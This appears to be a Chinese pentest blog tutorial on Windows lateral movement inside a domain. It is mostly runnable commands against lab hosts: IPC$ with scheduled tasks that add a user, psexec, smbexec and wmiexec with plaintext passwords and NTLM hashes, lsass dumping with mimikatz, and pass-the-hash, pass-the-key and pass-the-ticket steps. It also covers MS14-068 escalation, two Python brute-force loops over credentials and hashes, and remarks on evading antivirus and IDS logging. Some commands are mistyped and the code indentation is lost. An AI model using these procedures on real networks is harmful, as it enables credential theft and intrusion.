0x00 内网横向移动的两种方式小结
内网的横向移动的方式有传递和漏洞两种:
所谓传递就是通过内置的一系列协议与命令, 例如: at,schtasks, psexec,smbexec, wmic,vmiexec, PTH,PTT,PTK, winrs,winrm,RDP,SPN等,实现达到渗透其他内网主机, 使用工具: CobaltStrike,Ladon等渗透
所谓漏洞就是一些主机或者其他的CVE漏洞去渗透主机 例如: CVE-2014-6324 CVE-201717010 CVE-2020-1472等,实现达到渗透其他内网主机,
0x01 横向移动-at,schtasks传递
基于对方开启139,445端口,获取其他主机的明文密码,或者hash值 1)at传递: 对于at命令需要对方主机低于win2012在已知目标系统的用户明文密码的基础上,直接可以在远程主机上执行命令。首先at,sc协议需要有135/445端口的开放,一般主机都会开启。没有开启就采用其他的移动方式。
利用流程
- 建立 IPC 链接到目标主机,知道对方主机账户密码信息,若未成功可能权限问题
- 拷贝要执行的命令脚本到目标主机
- 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
- 删除 IPC 链接
建立ipc连接:net use \\192.168.213.163\ipc$ "123.com" /user:hsyy.com\administrator
本地制作user.bat文件放在本地c盘执行命令脚本:net user haha 123.com /add
将文件上传到对方主机C 盘:copy user.bat \\192.168.213.163\c$
给对方主机添加命令执行任务:at \\192.168.213.163 12:20 c:\user.bat
等待后查看到对方主机添加用户haha
详细步骤: 建立连接 给对方复制文件,添加进程任务 对方查看添加成功
建立 IPC 常见的错误代码
(1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限
(2)51:网络问题,Windows 无法找到网络路径
(3)53:找不到网络路径,可能是 IP 地址错误、目标未开机、目标 Lanmanserver 服务未启动、有
防火墙等问题
(4)67:找不到网络名,本地 Lanmanworkstation 服务未启动,目标删除 ipc$
(5)1219:提供的凭据和已存在的凭据集冲突,说明已建立 IPC$,需要先删除
(6)1326:账号密码错误
(7)1792:目标 NetLogon 服务未启动,连接域控常常会出现此情况
(8)2242:用户密码过期,目标有账号策略,强制定期更改密码
#建立 IPC 失败的原因
(1)目标系统不是 NT 或以上的操作系统
(2)对方没有打开 IPC$共享
(3)对方未开启 139、445 端口,或者被防火墙屏蔽
(4)输出命令、账号密码有错误
2)schtasks传递: 对于at命令需要对方主机低于win2012,schtasks支持2012包括以上的版本
利用流程:
创建ipc连接:net use \\192.168.213.163\ipc$ "123.com" /user:hsyy.com\administrator
复制脚本bat文件:copy user.bat \\192.168.213.163\c$
创建 adduser 任务对应执行文件:schtasks /create /s 192.168.213.163 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\user.bat /F
执行文件任务:schtasks /run /s 192.168.213.163 /tn adduser /i
删除执行文件任务:schtasks /delect /s 192.168.213.163 /tn adduser /f
3)atexec.exe横向渗透hash传递: atexec比较容易被杀掉,实战中需要做免杀,
FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测 IP 对应明文
连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami #批量检测 IP 对应明文
回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@192.168.3.21 whoami #批量检测明文对应 IP
回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@192.168.3.21 whoami #批量检测
HASH 对应 IP 回显版
4)pyhon批量检测IP,密码,账户存活: 生成exe文件: 文件位置:
使用pyinstaller打包exe运行文件:
python批量检测:使用收集到的域内IP信息,密码账户信息作为字典
import os,time
ips={
'192.168.213.163',
'192.168.213.100',
'192.168.213.120',
'192.168.213.132'
}
users={
'administrator',
'user',
'haha',
'Administrator',
'lily'
}
passs={
'admin',
'123.com',
'',
'123456'
}
for ip in ips:
for user in users:
for mima in passs:
exec="net use \\"+"\\"+ip+'\ipc$'+mima+' /user:hsyy.com\\'+user
print('--->'+exec+'--->')
os.system(exec)
time.sleep(1)
0x02 横向移动-基于SMB的psexec,smbexec传递
psexec,smbexec是基于SMB服务的连接,需要开启445端口,获取明文或者hash值
首先介绍procdump配合minikatz获取本机的明文密码和hash值 安装procdump:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump 生成lsass.dmp文件:procdump -accepteula -ma lsass.exe lsass.dmp 使用mnikatz解密出密码: sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full
1)psexec传递: 第一种:建立ipc连接,明文或者hash传递,需要对方的administrator权限,否则会错误 psexec是微软官方,不会被杀:https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
建立ipc连接:net use \\192.168.213.163\ipc$ "123.com" /user:administrator
使用psexec返回cmd窗口:psexec \\192.168.213.163 -s cmd
第二种:不用建立 IPC 直接提供明文账户密码
删除ipc连接:net use * /delete
直接明文连接:psexec \\192.168.213.163 -u administrator -p 123.com -s cmd
hash连接:
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 官方 Pstools 无法
采。需要使用 impacket 工具包使用,操作简单,容易被杀
2)smbexec传递 无需先建立 ipc 链接 明文或 hash 传递 这是使用impacket工具包, exe下载地址:https://gitee.com/RichChigga/impacket-examples-windows/repository/archive/master.zip py版本:https://github.com/SecureAuthCorp/impacket
明文传递命令:smbexec hsyy.com/administrator:123.com@192.168.213.163
hash传递:
smbexec -hashes :$HASH$ ./admin@192.168.213.163
smbbexec -hashes :$HASH$ domain/admin@192.168.213.163
0x03 横向移动,基于WMI 的wmic,vmiexec传递
需要开启135端口服务,支持明文与hash的传递,并且这种方式不会在日志中留下痕迹 1)wmic传递 1.使用自带的明文传递 无回显
建立连接,返回的值在对方主机需要进行读取:
wmic /node:192.168.213.163 /user:administrator /password:123.com process call create "cmd.exe /c ipconfig >C:\1.txt"
读取值: 2.使用自带的明文传递 有回显,需要借助vbs文件
cscript //nologo wmiexec.vbs /shell 192.168.213.163 administrator 123.com
3.使用套件 impacket wmiexec 明文或 hash 传递 有回显 exe 版本,可能容易被杀 工具包地址:https://gitee.com/RichChigga/impacket-examples-windows/repository/archive/master.zip
工作组环境:wmiexec ./账户:密码@192.168.3.32 "whoami"
域环境:wmiexec god/administrator:123.com@192.168.3.21 "whoami"
hash传递:
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.213.163 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.213.163 "whoami"
查看c盘:wmiexec hsyy.com/administrator:123.com@192.168.213.163 "dir /c"
3.py批量检测,循环账户密码,
使用python的pyinstaller模块导出exe执行
pyinstaller.exe -F fuck_neiwang_002.py
EXP:
import os,time
ips={
'192.168.3.21',
'192.168.3.25',
'192.168.3.29',
'192.168.3.30',
'192.168.3.32'
}
users={
'Administrator',
'boss',
'dbadmin',
'fileadmin',
'mack',
'mary',
'webadmin'
}
hashs={
'ccef208c6485269c20db2cad21734fe7',
'518b98ad4178a53695dc997aa02d455c'
}
for ip in ips:
for user in users:
for mimahash in hashs:
#wmiexec -hashes :hashgod/user@ipwhoami
exec = "wmiexec -hashes :"+mimahash+" god/"+user+"@"+ip+" whoami"
print('--->' + exec + '<---')
os.system(exec)
time.sleep(0.5)
0x04 横向移动-PTH,PTK,PTT传递
使用这三种协议传递需要注意的是,当使用PTH传递时候当对方主机存在补丁kb2871997后,PTH配合minikatz只能连接域用户,不能连接其他组的用户,PTK的传递需要对方主机存在补丁kb2871997才PTK才可以连接域用户,也可以连接组,采用ase256连接,PTH与PTK的传递都是基于NTML认证,而PTT的传递基于kerbros协议, 总结:
1)PTH配合minikatz传递: 未打补丁,ntlm传递:
提权:privilege::debug
ntlm传递:sekurlsa::pth /user:administrator /domain:hsyy.com /ntlm:ccef208c6485269c20db2cad21734fe7
ntml组内碰撞:可能存在与本机相同的administrtor用户的hash值
sekurlsa::pth /user:administrator/domain:workgroup/ntlm:518b98ad4178a53695dc997aa02d455c
ntml域用户传递:sekurlsa::pth /user:hsyy /domain:hsyy.com /ntlm:ccef208c6485269c20db2cad21734fe7
2)PTK配合minikatz传递需要存在补丁kb2871997
使用minikatz获取aes256_hmac:sekurlsa::ekeys
传递连接:
sekurlsa::pth /user:mary/domain:hsyy.com/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b
3)PTT利用ms14-068传递: ms14-068能够将普通域用户的权限获取域控 system 权限
提权步骤: MS14-068 powershell 执行 1.查看当前 sid : whoami /user 2.清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造:mimikatz # kerberos::purge 3.查看当前机器凭证:mimikatz # kerberos::list 4.将票据注入到内存中:mimikatz # kerberos::ptc 票据文件 5.利用 ms14-068 生成 TGT 数据:ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码 6.票据注入内存:开启mimikatz.exe “kerberos::ptc TGT_mary@god.org.ccache” 退出exit 7.查看凭证列表 klist 8.提权利用:dir \192.168.213.132\c$
步骤实现: 1.查看sid:whoami /user 2.利用ms14-068生成票据:ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码 3.注入票据: 4.连接域控实现提权: 如果无法识别,就将IP改为域计算机名 4)PTT利用工具kekeo传递:
PTT知识点:PTT权限维持技术:黄金票据Golden ticket 白银票据STLVER ticket
实现步骤: 1.生成票据 kekeo “tgt::ask /user:mary /domain:hsyy.com /ntlm:518b98ad4178a53695dc997aa02d455c” 2.导入票据 kerberos::ptt TGT_haha@HSYY.COM_krbtgt~hsyy.com@GOD.ORG.kirbi 3.查看凭证 klist 4.利用 net use 载入 dir \192.168.213.163\c$
5)PTT配合mimikatz利用本地票据:需要管理员权限:
提升权限:privilege::debug 导出票据:sekurlsa::tickets /export 利用票据:kerberos::ptt xxxxxxxxxx.xxxx.kirbi
6) Ladon工具推荐使用: 国产 Ladon 内网杀器测试验收 实现:信息收集-协议扫描-漏洞探针-传递攻击等 使用地址:https://github.com/k8gege/Ladon
0x05 横向传递-RDP,SPN扫描技术
1)RDP传递:
RDP技术就是类似于linux上的ssh远程连接,知道对方的IP,以及账户密码进行连接 需要开启3389端口 cmd运行:mstsc 明文传递 hash传递比较鸡肋
2)SPN扫描:
当计算机加入域时,主SPN会自动添加到域的计算机账号的ServicePrincipalName属性中。在安装新的服务 后,SPN也会被记录在计算机账号的相应属性中。。 SPN扫描也称为”扫描Kerberos服务实例名称"。 在活动目录中发现服务的最佳方法就是SPN扫描。 SPN 扫描通过请求特定SPN类型的服务主体名称来查找服务。与网络端口扫描相比, SPN扫描的主要特点是不需要 通过连接网络中的每个IP地址来检查服务端口(不会因为触发内网中的IPS. IDS等设备的规则而产生大量的警告 日志)。因为SPN查询是Kerberos票据行为的一部分,所以检测难度很大。 由于SPN扫描是基于LDAP协议向域控制器进行查询的,所以,攻击者只需要获得一个普 通的域用户权限, 就可以进行SPN扫描。
0x06 横向移动-CobaltStrike
使用流程: 1.启动-配置- 监听执行-.上线提权信息收集(网络,凭证,定位等) -渗透 2.关于启动及配置 3.关于提权及插件加载 4.关于信息收集命令 5 关于视图自动化功能
安装使用:http://www.kxsy.work/2021/08/05/shen-tou-shen-qi-cs-an-zhuang-xiang-xi-jiao-cheng/
域渗透参考:http://www.kxsy.work/2021/08/17/strike-yu-shen-tou/ CS4.0使用手册: 链接:https://pan.baidu.com/s/1knqCFSZ2VxUKKAGE6INRiw 提取码:hsyy
交流学习: 博客:www.kxsy.work CSND社区:告白热
师从“小迪安全”http://www.xiaodi8.com/
|